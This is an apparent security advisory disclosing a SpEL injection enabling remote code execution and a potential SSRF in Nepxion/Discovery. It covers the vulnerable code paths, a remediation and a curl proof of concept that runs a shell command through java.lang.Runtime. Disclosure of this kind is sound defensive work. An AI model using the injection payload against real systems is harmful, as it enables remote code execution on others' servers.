September 9, 2022

GHSL-2022-033_GHSL-2022-034: SpEL Injection in Nepxion/Discovery - CVE-2022-23463, CVE-2022-23464

Jorge Rosillo

Coordinated Disclosure Timeline

- 2022/05/22: Report sent to nepxion@qq.com
- 2022/06/12: Asked for a security contact to 1394997@qq.com
- 2022/06/20: Opened a public issue
- 2022/08/09: Maintainer closes the public issue
- 2022/08/21: Deadline expired
- 2022/09/06: `CVE-2022-23463` and `CVE-2022-23464` assigned

Summary

`Nepxion/Discovery` is vulnerable to SpEL Injection in `discovery-commons` and a potential SSRF in `discovery-plugin-admin-center`.

Product

Discovery

Tested Version

9f3e7a5

Details

Issue 1: SpEL Injection in `discovery-commons` (`GHSL-2022-033`)

`DiscoveryExpressionResolver`'s `eval` method is evaluating `expression` with a `StandardEvaluationContext`, allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. There are two endpoints (here and here) taking user input into `expression`.

For instance, `StrategyEndpoint` exposes a `/strategy/validate-expression` endpoint whose `expression` parameter flows to `strategyResource.validateExpression` in [1].

`StrategyEndpoint.java`

```
@RestController
@RequestMapping(path = "/strategy")
...
public class StrategyEndpoint {
    @Autowired
    private StrategyResource strategyResource;

    @RequestMapping(path = "/validate-expression", method = RequestMethod.GET)
    ...
    public ResponseEntity<?> validateExpression(@RequestParam @ApiParam(value = "...", defaultValue = "...", required = true) String expressic
        return doValidateExpression(expression, validation);
    }

    private ResponseEntity<?> doValidateExpression(String expression, String validation) {
        try {
            boolean result = strategyResource.validateExpression(expression, validation); // 1

            return ResponseUtil.getSuccessResponse(result);
        } catch (Exception e) {
            return ResponseUtil.getFailureResponse(e);
        }
    }
}
```

`StrategyResource` builds a Map with the `validation` parameter, but leaves `expression` intact, ultimately flowing to `DiscoveryExpressionResolver.eval` in [2].

`StrategyResource.java`

```
public class StrategyResourceImpl implements StrategyResource {
    private TypeComparator typeComparator = new DiscoveryTypeComparor();
```

```
    @Override
    public boolean validateExpression(String expression, String validation) {
        Map<String, String> map = null;
        try {
            map = StringUtil.splitToMap(validation);
        } catch (Exception e) {
            throw new DiscoveryException("Invalid format for validation input");
        }

        return DiscoveryExpressionResolver.eval(expression, DiscoveryConstant.EXPRESSION_PREFIX, map, typeComparator); // 2
    }
}
```

In `DiscoveryExpressionResolver`, the first `eval` method leaves, again, the `expression` parameter intact (in [3]) flowing to the second `eval` method, where `expression` gets evaluated using the vulnerable `StandardEvaluationContext` ([2]) in [4].

DiscoveryExpressionResolver.java

```
public class DiscoveryExpressionResolver {
    private static final ExpressionParser EXPRESSION_PARSER = new SpelExpressionParser(); // 1

    public static boolean eval(String expression, String key, Map<String, String> map, TypeComparator typeComparator) {
        StandardEvaluationContext context = new StandardEvaluationContext(); // 2
        context.setTypeComparator(typeComparator);
        if (map != null) {
            context.setVariable(key, map);
        } else {
            context.setVariable(key, new HashMap<String, String>());
        }

        return eval(expression, context); // 3
    }

    public static boolean eval(String expression, StandardEvaluationContext context) {
        try {
            Boolean result = EXPRESSION_PARSER.parseExpression(expression).getValue(context, Boolean.class); // 4

            return result != null ? result.booleanValue() : false;
        } catch (Exception e) {
            return false;
        }
    }
}
```

Impact

This issue may lead to Remote Code Execution.

Remediation

Use `SimpleEvaluationContext` to exclude *references to Java types, constructors, and bean references*.

Resources

POC

```
$ curl '127.0.0.1:9628/strategy/validate-expression?expression=T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27touch%20/tmp/vulnz%27%29&va
$ ls -al /tmp/ | grep vulnz
```

Issue 2: Potential SSRF in `discovery-plugin-admin-center` (`GHSL-2022-034`)

RouterResourceImpl uses `RestTemplate`'s `getForEntity` [2] to retrieve the contents of a URL containing user-controlled input [1] from this endpoint.

RouterResourceImpl.java

```
public List<RouterEntity> getRouterEntityList(String routeServiceId, String routeProtocol, String routeHost, int routePort, String routeContex
        String url = routeProtocol + "://" + routeHost + ":" + routePort + routeContextPath + "router/route/" + routeServiceId; // 1

        String result = null;
        try {
            result = routerRestTemplate.getForEntity(url, String.class).getBody(); // 2
        } catch (RestClientException e) {
            throw new DiscoveryException("Failed to execute to route, serviceId=" + routeServiceId + ", url=" + url, e);
        }

        if (StringUtils.isEmpty(result)) {
            return null;
        }

        List<RouterEntity> routerEntityList = JsonUtil.fromJson(result, new TypeReference<List<RouterEntity>>() {
        });

        return routerEntityList;
    }
```

Impact

This issue may lead to Information Disclosure.

CVE

- CVE-2022-23463
- CVE-2022-23464

Credit

These issues were discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2022-033` or `GHSL-2022-034` in any communication regarding these issues.